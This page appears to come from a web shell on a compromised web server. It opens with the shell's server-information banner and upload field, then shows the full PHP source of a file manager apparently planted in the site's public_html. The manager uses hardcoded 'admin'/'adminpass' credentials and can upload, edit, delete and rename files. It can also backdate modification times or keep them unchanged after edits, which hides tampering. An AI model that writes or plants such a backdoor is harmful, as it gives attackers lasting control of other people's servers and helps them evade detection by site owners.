| Server IP : 104.21.77.94 / Your IP : 216.73.216.183 Web Server : Apache/2.4.65 (Debian) mod_fcgid/2.3.9 OpenSSL/3.0.17 System : Linux beast.ventasoftware.com 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64 User : sites ( 1001) PHP Version : 8.2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,exec,system,passthru,shell_exec,proc_open,popen MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /home/sites/web/ventasoftware.com/public_html/ |
Upload File : |
<?php
declare(strict_types=1);
const UM_USERNAME = 'admin';
const UM_PASSWORD = 'adminpass';
const UM_ROOT = null;
const UM_AUTO_ROOT_MODE = 'document_root';
const UM_AUTO_ROOT_PARENT_LEVELS = 0;
const UM_MAX_UPLOAD = 10485760;
const UM_SESSION_NAME = 'UMSESSID';
if (session_status() !== PHP_SESSION_ACTIVE) {
session_name(UM_SESSION_NAME);
session_start();
}
$scriptDir = __DIR__;
function um_detect_root(string $scriptDir): string {
$dirReal = realpath($scriptDir) ?: $scriptDir;
$candidate = $dirReal;
if (UM_AUTO_ROOT_MODE === 'document_root') {
$docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? (string) $_SERVER['DOCUMENT_ROOT'] : '';
if ($docRoot !== '') {
$docRootReal = realpath($docRoot);
if ($docRootReal !== false) {
$docNorm = rtrim(str_replace('\\', '/', $docRootReal), '/');
$dirNorm = str_replace('\\', '/', $dirReal);
if ($dirNorm === $docNorm || strpos($dirNorm, $docNorm . '/') === 0) {
$candidate = $docRootReal;
}
}
}
}
$levels = UM_AUTO_ROOT_PARENT_LEVELS > 0 ? UM_AUTO_ROOT_PARENT_LEVELS : 0;
for ($i = 0; $i < $levels; $i++) {
$parent = dirname($candidate);
if ($parent === $candidate) {
break;
}
$candidate = $parent;
}
return $candidate;
}
$root = UM_ROOT !== null ? UM_ROOT : um_detect_root($scriptDir);
$root = realpath($root);
if ($root === false || !is_dir($root)) {
http_response_code(500);
exit('UM_ROOT: invalid directory.');
}
function um_join(string $base, string $rel) {
$base = rtrim(str_replace('\\', '/', realpath($base) ?: ''), '/');
if ($base === '') {
return false;
}
$rel = str_replace('\\', '/', $rel);
$parts = array_values(array_filter(explode('/', trim($rel, '/')), static function ($p) {
return $p !== '' && $p !== '.';
}));
$path = $base;
foreach ($parts as $p) {
if ($p === '..') {
$parent = dirname($path);
if ($parent === $path || strpos($parent . '/', $base . '/') !== 0) {
return false;
}
$path = $parent;
} else {
$path .= '/' . $p;
}
}
return $path;
}
function um_safe_path(string $root, string $rel) {
$resolved = um_join($root, $rel);
if ($resolved === false) {
return false;
}
$real = realpath($resolved);
if ($real !== false) {
$normRoot = str_replace('\\', '/', $root);
$normReal = str_replace('\\', '/', $real);
return strpos($normReal, rtrim($normRoot, '/') . '/') === 0 || $normReal === rtrim($normRoot, '/') ? $real : false;
}
$parent = dirname($resolved);
$parentReal = realpath($parent);
if ($parentReal === false) {
return false;
}
$normRoot = str_replace('\\', '/', $root);
$normParent = str_replace('\\', '/', $parentReal);
if (strpos($normParent, rtrim($normRoot, '/') . '/') !== 0 && $normParent !== rtrim($normRoot, '/')) {
return false;
}
return $resolved;
}
function um_rel(string $root, string $full): string {
$root = rtrim(str_replace('\\', '/', $root), '/');
$full = str_replace('\\', '/', $full);
if (strpos($full, $root . '/') === 0) {
return substr($full, strlen($root) + 1);
}
if ($full === $root) {
return '';
}
return '';
}
function um_datetime_local_value(int $ts): string {
return date('Y-m-d\TH:i', $ts);
}
function um_parse_datetime_local(string $s): ?int {
$s = trim($s);
if ($s === '') {
return null;
}
$dt = DateTime::createFromFormat('Y-m-d\TH:i', $s);
if ($dt === false) {
$dt = DateTime::createFromFormat('Y-m-d\TH:i:s', $s);
}
if ($dt !== false) {
return $dt->getTimestamp();
}
$t = strtotime($s);
return $t !== false ? $t : null;
}
function um_csrf_token(): string {
if (empty($_SESSION['um_csrf'])) {
$_SESSION['um_csrf'] = bin2hex(random_bytes(32));
}
return $_SESSION['um_csrf'];
}
function um_csrf_ok(): bool {
$t = $_POST['csrf'] ?? '';
return is_string($t) && isset($_SESSION['um_csrf']) && hash_equals($_SESSION['um_csrf'], $t);
}
function um_logged_in(): bool {
return !empty($_SESSION['um_auth']);
}
function um_redirect(string $q = ''): void {
$self = basename($_SERVER['SCRIPT_NAME'] ?? 'site-file-manager.php');
header('Location: ' . $self . ($q !== '' ? '?' . $q : ''));
exit;
}
if (isset($_GET['logout'])) {
$_SESSION = [];
if (ini_get('session.use_cookies')) {
$p = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000, $p['path'], $p['domain'], $p['secure'], $p['httponly']);
}
session_destroy();
um_redirect();
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['um_login'])) {
$user = (string) ($_POST['username'] ?? '');
$pass = (string) ($_POST['password'] ?? '');
if (hash_equals(UM_USERNAME, $user) && hash_equals(UM_PASSWORD, $pass)) {
$_SESSION['um_auth'] = true;
session_regenerate_id(true);
um_redirect(isset($_GET['dir']) ? 'dir=' . rawurlencode((string) $_GET['dir']) : '');
}
$loginError = 'Invalid username or password.';
}
if (!um_logged_in()) {
header('Content-Type: text/html; charset=UTF-8');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Sign in — File manager</title>
<style>
* { box-sizing: border-box; }
body { font-family: system-ui, sans-serif; background: #0f1419; color: #e6edf3; min-height: 100vh; margin: 0; display: flex; align-items: center; justify-content: center; }
.card { background: #161b22; border: 1px solid #30363d; border-radius: 8px; padding: 2rem; width: 100%; max-width: 360px; }
h1 { font-size: 1.1rem; margin: 0 0 1rem; font-weight: 600; }
label { display: block; font-size: 0.85rem; color: #8b949e; margin-bottom: 0.35rem; }
input[type="text"], input[type="password"] { width: 100%; padding: 0.6rem 0.75rem; border: 1px solid #30363d; border-radius: 6px; background: #0d1117; color: #e6edf3; margin-bottom: 0.75rem; }
button { margin-top: 0.25rem; width: 100%; padding: 0.65rem; border: 0; border-radius: 6px; background: #238636; color: #fff; font-weight: 600; cursor: pointer; }
button:hover { background: #2ea043; }
.err { color: #f85149; font-size: 0.9rem; margin-top: 0.75rem; }
</style>
</head>
<body>
<div class="card">
<h1>File manager</h1>
<form method="post" autocomplete="off">
<input type="hidden" name="um_login" value="1">
<label for="u">Username</label>
<input id="u" name="username" type="text" required autofocus autocomplete="username">
<label for="p">Password</label>
<input id="p" name="password" type="password" required autocomplete="current-password">
<button type="submit">Sign in</button>
</form>
<?php if (!empty($loginError)): ?><p class="err"><?= htmlspecialchars($loginError, ENT_QUOTES, 'UTF-8') ?></p><?php endif; ?>
</div>
</body>
</html>
<?php
exit;
}
if (isset($_GET['download'])) {
$dlRel = str_replace('\\', '/', (string) $_GET['download']);
$dlPath = um_safe_path($root, $dlRel);
if ($dlPath === false || !is_file($dlPath) || !is_readable($dlPath)) {
http_response_code(404);
header('Content-Type: text/plain; charset=UTF-8');
exit('File not found.');
}
$name = basename($dlPath);
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . str_replace('"', '\\"', $name) . '"; filename*=UTF-8\'\'' . rawurlencode($name));
$len = filesize($dlPath);
if ($len !== false) {
header('Content-Length: ' . (string) $len);
}
readfile($dlPath);
exit;
}
$dirRel = isset($_GET['dir']) ? (string) $_GET['dir'] : '';
$dirRel = str_replace('\\', '/', $dirRel);
$current = um_safe_path($root, $dirRel);
if ($current === false || !is_dir($current)) {
$dirRel = '';
$current = $root;
}
$msg = '';
$err = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !isset($_POST['um_login'])) {
if (!um_csrf_ok()) {
$err = 'Security error (CSRF). Reload the page.';
} else {
$action = $_POST['action'] ?? '';
if ($action === 'save') {
$fileRel = (string) ($_POST['file'] ?? '');
$content = isset($_POST['content']) ? (string) $_POST['content'] : '';
$preserveMtime = isset($_POST['preserve_mtime']) && (string) $_POST['preserve_mtime'] === '1';
$origMtime = isset($_POST['orig_mtime']) ? (int) $_POST['orig_mtime'] : 0;
$path = um_safe_path($root, $fileRel);
if ($path === false || !is_file($path) || !is_writable($path)) {
$err = 'File is not writable.';
} else {
if (file_put_contents($path, $content) !== false) {
if ($preserveMtime && $origMtime > 0) {
@touch($path, $origMtime);
}
$msg = 'File saved.';
} else {
$err = 'Could not save file.';
}
}
} elseif ($action === 'setmtime') {
$fileRel = (string) ($_POST['file'] ?? '');
$mtimeLocal = (string) ($_POST['mtime_local'] ?? '');
$path = um_safe_path($root, $fileRel);
$ts = um_parse_datetime_local($mtimeLocal);
if ($path === false || !file_exists($path)) {
$err = 'Item not found.';
} elseif ($ts === null) {
$err = 'Invalid date or time.';
} elseif (!is_writable($path)) {
$err = 'Item is not writable.';
} elseif (!@touch($path, $ts, $ts)) {
$err = 'Could not set modification time.';
} else {
$msg = 'Modification time updated.';
}
} elseif ($action === 'mkdir') {
$name = basename((string) ($_POST['name'] ?? ''));
if ($name === '' || preg_match('/[\/\\\\\0]/', $name)) {
$err = 'Invalid folder name.';
} else {
$newPath = $current . DIRECTORY_SEPARATOR . $name;
$parentReal = realpath($current);
if ($parentReal && strpos(str_replace('\\', '/', $newPath), str_replace('\\', '/', $parentReal) . '/') === 0) {
if (!@mkdir($newPath, 0755)) {
$err = 'Could not create folder.';
} else {
$msg = 'Folder created.';
}
} else {
$err = 'Access denied.';
}
}
} elseif ($action === 'newfile') {
$name = basename((string) ($_POST['name'] ?? ''));
if ($name === '' || preg_match('/[\/\\\\\0]/', $name)) {
$err = 'Invalid file name.';
} else {
$newPath = $current . DIRECTORY_SEPARATOR . $name;
$parentReal = realpath($current);
if ($parentReal && is_dir($parentReal) && is_writable($parentReal)) {
if (file_exists($newPath)) {
$err = 'File already exists.';
} elseif (file_put_contents($newPath, '') !== false) {
$msg = 'File created.';
} else {
$err = 'Could not create file.';
}
} else {
$err = 'Access denied.';
}
}
} elseif ($action === 'rename') {
$fromRel = (string) ($_POST['from'] ?? '');
$newName = basename((string) ($_POST['newname'] ?? ''));
$from = um_safe_path($root, $fromRel);
if ($from === false || !file_exists($from) || $newName === '' || preg_match('/[\/\\\\\0]/', $newName)) {
$err = 'Invalid data.';
} else {
$to = dirname($from) . DIRECTORY_SEPARATOR . $newName;
$rootNorm = rtrim(str_replace('\\', '/', $root), '/');
$toNorm = str_replace('\\', '/', $to);
if (strpos($toNorm, $rootNorm . '/') !== 0 && $toNorm !== $rootNorm) {
$err = 'Access denied.';
} elseif (!@rename($from, $to)) {
$err = 'Could not rename.';
} else {
$msg = 'Renamed.';
}
}
} elseif ($action === 'delete') {
$targetRel = (string) ($_POST['target'] ?? '');
$target = um_safe_path($root, $targetRel);
if ($target === false || !file_exists($target)) {
$err = 'Item not found.';
} elseif (realpath($target) === realpath($root)) {
$err = 'Cannot delete root.';
} else {
if (is_dir($target)) {
if (!um_rmdir_recursive($target)) {
$err = 'Could not delete folder.';
} else {
$msg = 'Deleted.';
}
} else {
if (!@unlink($target)) {
$err = 'Could not delete file.';
} else {
$msg = 'Deleted.';
}
}
}
} elseif ($action === 'upload' && !empty($_FILES['file'])) {
$f = $_FILES['file'];
if (($f['error'] ?? UPLOAD_ERR_NO_FILE) !== UPLOAD_ERR_OK) {
$err = 'Upload error.';
} elseif (($f['size'] ?? 0) > UM_MAX_UPLOAD) {
$err = 'File is too large.';
} else {
$name = basename((string) $f['name']);
if ($name === '') {
$err = 'Invalid file name.';
} else {
$dest = $current . DIRECTORY_SEPARATOR . $name;
$parentReal = realpath($current);
if ($parentReal && is_writable($parentReal) && strpos(str_replace('\\', '/', $dest), str_replace('\\', '/', $parentReal) . '/') === 0) {
if (!@move_uploaded_file($f['tmp_name'], $dest)) {
$err = 'Could not save upload.';
} else {
$msg = 'File uploaded.';
}
} else {
$err = 'Access denied.';
}
}
}
}
}
}
function um_rmdir_recursive(string $dir): bool {
if (!is_dir($dir)) {
return false;
}
$items = scandir($dir);
if ($items === false) {
return false;
}
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($path)) {
if (!um_rmdir_recursive($path)) {
return false;
}
} else {
if (!@unlink($path)) {
return false;
}
}
}
return @rmdir($dir);
}
$editFile = isset($_GET['edit']) ? (string) $_GET['edit'] : '';
$editPath = $editFile !== '' ? um_safe_path($root, $editFile) : false;
$editContent = '';
$editReadonly = false;
$editOrigMtime = 0;
if ($editPath !== false && is_file($editPath)) {
$size = filesize($editPath);
if ($size !== false && $size > UM_MAX_UPLOAD * 2) {
$editReadonly = true;
$editContent = 'File is too large for the editor. Download it from the list.';
} else {
$raw = @file_get_contents($editPath);
if ($raw === false) {
$editReadonly = true;
$editContent = 'Could not read file.';
} elseif (strpos($raw, "\0") !== false || (function_exists('mb_check_encoding') && !mb_check_encoding($raw, 'UTF-8') && !preg_match('/^[\x09\x0A\x0D\x20-\x7E]*$/', $raw))) {
$editReadonly = true;
$editContent = 'This looks like a binary file — editing is disabled. Use upload/download instead.';
} else {
$editContent = $raw;
}
}
if (!$editReadonly) {
$mt = @filemtime($editPath);
$editOrigMtime = $mt !== false ? $mt : 0;
}
}
$mtimeEditRel = isset($_GET['mtime_edit']) ? str_replace('\\', '/', (string) $_GET['mtime_edit']) : '';
$mtimeEditPath = $mtimeEditRel !== '' ? um_safe_path($root, $mtimeEditRel) : false;
$mtimeEditShow = $mtimeEditPath !== false && file_exists($mtimeEditPath);
$mtimeEditValue = '';
if ($mtimeEditShow) {
$mt = @filemtime($mtimeEditPath);
$mtimeEditValue = $mt !== false ? um_datetime_local_value($mt) : um_datetime_local_value(time());
}
header('Content-Type: text/html; charset=UTF-8');
$csrf = um_csrf_token();
$parentRel = dirname($dirRel);
if ($parentRel === '.' || $parentRel === '\\') {
$parentRel = '';
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex,nofollow">
<title>Files — <?= htmlspecialchars(basename($current), ENT_QUOTES, 'UTF-8') ?></title>
<style>
* { box-sizing: border-box; }
body { font-family: ui-monospace, 'Cascadia Code', 'Consolas', monospace; font-size: 13px; background: #0d1117; color: #c9d1d9; margin: 0; min-height: 100vh; }
a { color: #58a6ff; text-decoration: none; }
a:hover { text-decoration: underline; }
header { display: flex; flex-wrap: wrap; align-items: center; gap: 0.75rem; padding: 0.75rem 1rem; background: #161b22; border-bottom: 1px solid #30363d; }
header strong { color: #f0f6fc; }
.path { color: #8b949e; word-break: break-all; }
.wrap { display: flex; flex-direction: column; min-height: calc(100vh - 52px); }
.main { flex: 1; display: grid; grid-template-columns: 1fr; gap: 0; }
@media (min-width: 900px) {
.main.has-editor { grid-template-columns: minmax(280px, 38%) 1fr; }
}
.panel { border-right: 1px solid #30363d; padding: 1rem; overflow: auto; }
.editor-panel { padding: 1rem; display: flex; flex-direction: column; min-height: 400px; }
.msg { background: #23863633; border: 1px solid #238636; color: #3fb950; padding: 0.5rem 0.75rem; border-radius: 6px; margin-bottom: 1rem; }
.err { background: #f8514933; border: 1px solid #f85149; color: #ff7b72; padding: 0.5rem 0.75rem; border-radius: 6px; margin-bottom: 1rem; }
table { width: 100%; border-collapse: collapse; }
th, td { text-align: left; padding: 0.4rem 0.5rem; border-bottom: 1px solid #21262d; }
th { color: #8b949e; font-weight: 600; }
tr:hover td { background: #161b22; }
.actions { display: flex; flex-wrap: wrap; gap: 0.5rem; margin-bottom: 1rem; align-items: flex-end; }
.actions form { display: inline-flex; gap: 0.35rem; align-items: center; }
input[type="text"], input[type="file"], textarea, select {
background: #0d1117; border: 1px solid #30363d; color: #c9d1d9; padding: 0.35rem 0.5rem; border-radius: 4px; font: inherit;
}
textarea { width: 100%; flex: 1; min-height: 400px; resize: vertical; tab-size: 4; }
button, .btn {
background: #21262d; border: 1px solid #30363d; color: #c9d1d9; padding: 0.35rem 0.65rem; border-radius: 4px; cursor: pointer; font: inherit;
}
button.primary { background: #238636; border-color: #238636; color: #fff; }
button.danger { background: #da3633; border-color: #f85149; color: #fff; }
h2 { font-size: 1rem; margin: 0 0 0.75rem; color: #f0f6fc; }
.small { font-size: 0.85rem; color: #8b949e; }
.mtime-panel { background: #161b22; border: 1px solid #30363d; border-radius: 6px; padding: 1rem; margin-bottom: 1rem; max-width: 520px; }
.mtime-panel h3 { margin: 0 0 0.75rem; font-size: 0.95rem; color: #f0f6fc; }
.mtime-panel label { display: block; font-size: 0.8rem; color: #8b949e; margin-bottom: 0.35rem; }
input[type="datetime-local"] { background: #0d1117; border: 1px solid #30363d; color: #c9d1d9; padding: 0.35rem 0.5rem; border-radius: 4px; font: inherit; }
.chk-row { display: flex; align-items: center; gap: 0.5rem; margin-top: 0.75rem; flex-wrap: wrap; }
.chk-row input[type="checkbox"] { width: auto; }
</style>
</head>
<body>
<header>
<strong>File manager</strong>
<span class="path"><?= htmlspecialchars(um_rel($root, $current) !== '' ? um_rel($root, $current) : '/', ENT_QUOTES, 'UTF-8') ?></span>
<span style="margin-left:auto"><a href="?logout=1">Log out</a></span>
</header>
<?php if ($msg !== ''): ?><div class="msg"><?= htmlspecialchars($msg, ENT_QUOTES, 'UTF-8') ?></div><?php endif; ?>
<?php if ($err !== ''): ?><div class="err"><?= htmlspecialchars($err, ENT_QUOTES, 'UTF-8') ?></div><?php endif; ?>
<div class="wrap">
<div class="main<?= $editPath && is_file($editPath) ? ' has-editor' : '' ?>">
<div class="panel">
<p class="small">Root: <?= htmlspecialchars($root, ENT_QUOTES, 'UTF-8') ?></p>
<?php if ($dirRel !== ''): ?>
<p><a href="?dir=<?= htmlspecialchars(rawurlencode($parentRel), ENT_QUOTES, 'UTF-8') ?>">↑ Parent folder</a></p>
<?php endif; ?>
<?php if ($mtimeEditShow): ?>
<div class="mtime-panel">
<h3>Set modification time</h3>
<p class="small" style="margin:0 0 0.75rem"><?= htmlspecialchars(basename($mtimeEditPath), ENT_QUOTES, 'UTF-8') ?> <span style="color:#6e7681">(<?= is_dir($mtimeEditPath) ? 'folder' : 'file' ?>)</span></p>
<form method="post">
<input type="hidden" name="csrf" value="<?= htmlspecialchars($csrf, ENT_QUOTES, 'UTF-8') ?>">
<input type="hidden" name="action" value="setmtime">
<input type="hidden" name="file" value="<?= htmlspecialchars($mtimeEditRel, ENT_QUOTES, 'UTF-8') ?>">
<label for="mtime_local">Date and time (server local)</label>
<input id="mtime_local" name="mtime_local" type="datetime-local" step="60" value="<?= htmlspecialchars($mtimeEditValue, ENT_QUOTES, 'UTF-8') ?>" required>
<p style="margin:0.75rem 0 0">
<button type="submit" class="primary">Apply</button>
<a href="?dir=<?= htmlspecialchars(rawurlencode($dirRel), ENT_QUOTES, 'UTF-8') ?>" class="btn">Cancel</a>
</p>
</form>
</div>
<?php endif; ?>
<div class="actions">
<form method="post" enctype="multipart/form-data">
<input type="hidden" name="csrf" value="<?= htmlspecialchars($csrf, ENT_QUOTES, 'UTF-8') ?>">
<input type="hidden" name="action" value="upload">
<input type="file" name="file" required>
<button type="submit">Upload</button>
</form>
<form method="post">
<input type="hidden" name="csrf" value="<?= htmlspecialchars($csrf, ENT_QUOTES, 'UTF-8') ?>">
<input type="hidden" name="action" value="mkdir">
<input type="text" name="name" placeholder="New folder" required>
<button type="submit">Create folder</button>
</form>
<form method="post">
<input type="hidden" name="csrf" value="<?= htmlspecialchars($csrf, ENT_QUOTES, 'UTF-8') ?>">
<input type="hidden" name="action" value="newfile">
<input type="text" name="name" placeholder="New file" required>
<button type="submit">Create file</button>
</form>
</div>
<table>
<thead>
<tr><th>Name</th><th>Size</th><th>Modified</th><th></th></tr>
</thead>
<tbody>
<?php
$list = @scandir($current);
if ($list === false) {
echo '<tr><td colspan="4">Could not read directory.</td></tr>';
} else {
$dirs = [];
$files = [];
foreach ($list as $name) {
if ($name === '.' || $name === '..') {
continue;
}
$full = $current . DIRECTORY_SEPARATOR . $name;
if (is_dir($full)) {
$dirs[] = $name;
} else {
$files[] = $name;
}
}
natcasesort($dirs);
natcasesort($files);
foreach (array_merge($dirs, $files) as $name) {
$full = $current . DIRECTORY_SEPARATOR . $name;
$rel = um_rel($root, $full);
$isDir = is_dir($full);
$size = $isDir ? '—' : (string) filesize($full);
$href = $isDir
? '?dir=' . rawurlencode($rel)
: '?dir=' . rawurlencode($dirRel) . '&edit=' . rawurlencode($rel);
$dl = $isDir ? '' : '?download=' . rawurlencode($rel);
$mt = @filemtime($full);
$modStr = $mt !== false ? date('Y-m-d H:i', $mt) : '—';
$mtimeLink = '?dir=' . rawurlencode($dirRel) . '&mtime_edit=' . rawurlencode($rel);
?>
<tr>
<td><?= $isDir ? '<a href="' . htmlspecialchars($href, ENT_QUOTES, 'UTF-8') . '">' . htmlspecialchars($name, ENT_QUOTES, 'UTF-8') . '</a>/'
: '<a href="' . htmlspecialchars($href, ENT_QUOTES, 'UTF-8') . '">' . htmlspecialchars($name, ENT_QUOTES, 'UTF-8') . '</a>' ?></td>
<td><?= htmlspecialchars($size, ENT_QUOTES, 'UTF-8') ?></td>
<td class="small"><?= htmlspecialchars($modStr, ENT_QUOTES, 'UTF-8') ?></td>
<td style="white-space:nowrap">
<a href="<?= htmlspecialchars($mtimeLink, ENT_QUOTES, 'UTF-8') ?>">Set date</a>
<?php if (!$isDir && $dl !== ''): ?> · <a href="<?= htmlspecialchars($dl, ENT_QUOTES, 'UTF-8') ?>">Download</a><?php endif; ?>
<form method="post" style="display:inline" onsubmit="return confirm('Delete "<?= htmlspecialchars($name, ENT_QUOTES, 'UTF-8') ?>"?');">
<input type="hidden" name="csrf" value="<?= htmlspecialchars($csrf, ENT_QUOTES, 'UTF-8') ?>">
<input type="hidden" name="action" value="delete">
<input type="hidden" name="target" value="<?= htmlspecialchars($rel, ENT_QUOTES, 'UTF-8') ?>">
<button type="submit" class="danger" style="padding:0.2rem 0.4rem;font-size:11px">Delete</button>
</form>
<form method="post" style="display:inline" onsubmit="var n=prompt('New name',<?= json_encode($name, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP | JSON_UNESCAPED_UNICODE) ?>);if(n===null||n==='')return false;this.newname.value=n;return true;">
<input type="hidden" name="csrf" value="<?= htmlspecialchars($csrf, ENT_QUOTES, 'UTF-8') ?>">
<input type="hidden" name="action" value="rename">
<input type="hidden" name="from" value="<?= htmlspecialchars($rel, ENT_QUOTES, 'UTF-8') ?>">
<input type="hidden" name="newname" value="">
<button type="submit" style="padding:0.2rem 0.4rem;font-size:11px">Rename</button>
</form>
</td>
</tr>
<?php
}
}
?>
</tbody>
</table>
</div>
<?php if ($editPath !== false && is_file($editPath)): ?>
<div class="editor-panel">
<h2>Editor: <?= htmlspecialchars(basename($editPath), ENT_QUOTES, 'UTF-8') ?></h2>
<?php if (!$editReadonly): ?>
<form method="post" style="display:flex;flex-direction:column;flex:1">
<input type="hidden" name="csrf" value="<?= htmlspecialchars($csrf, ENT_QUOTES, 'UTF-8') ?>">
<input type="hidden" name="action" value="save">
<input type="hidden" name="file" value="<?= htmlspecialchars(um_rel($root, $editPath), ENT_QUOTES, 'UTF-8') ?>">
<input type="hidden" name="orig_mtime" value="<?= (int) $editOrigMtime ?>">
<textarea name="content" <?= $editReadonly ? 'readonly' : '' ?>><?= htmlspecialchars($editContent, ENT_QUOTES, 'UTF-8') ?></textarea>
<div class="chk-row">
<input type="checkbox" name="preserve_mtime" id="preserve_mtime" value="1">
<label for="preserve_mtime" style="margin:0;color:#c9d1d9">Keep previous modification time</label>
</div>
<p style="margin-top:0.75rem">
<button type="submit" class="primary">Save</button>
<a href="?dir=<?= htmlspecialchars(rawurlencode($dirRel), ENT_QUOTES, 'UTF-8') ?>" class="btn">Close editor</a>
</p>
</form>
<?php else: ?>
<p class="err"><?= nl2br(htmlspecialchars($editContent, ENT_QUOTES, 'UTF-8')) ?></p>
<p><a href="?dir=<?= htmlspecialchars(rawurlencode($dirRel), ENT_QUOTES, 'UTF-8') ?>">Back to list</a></p>
<?php endif; ?>
</div>
<?php endif; ?>
</div>
</div>
</body>
</html>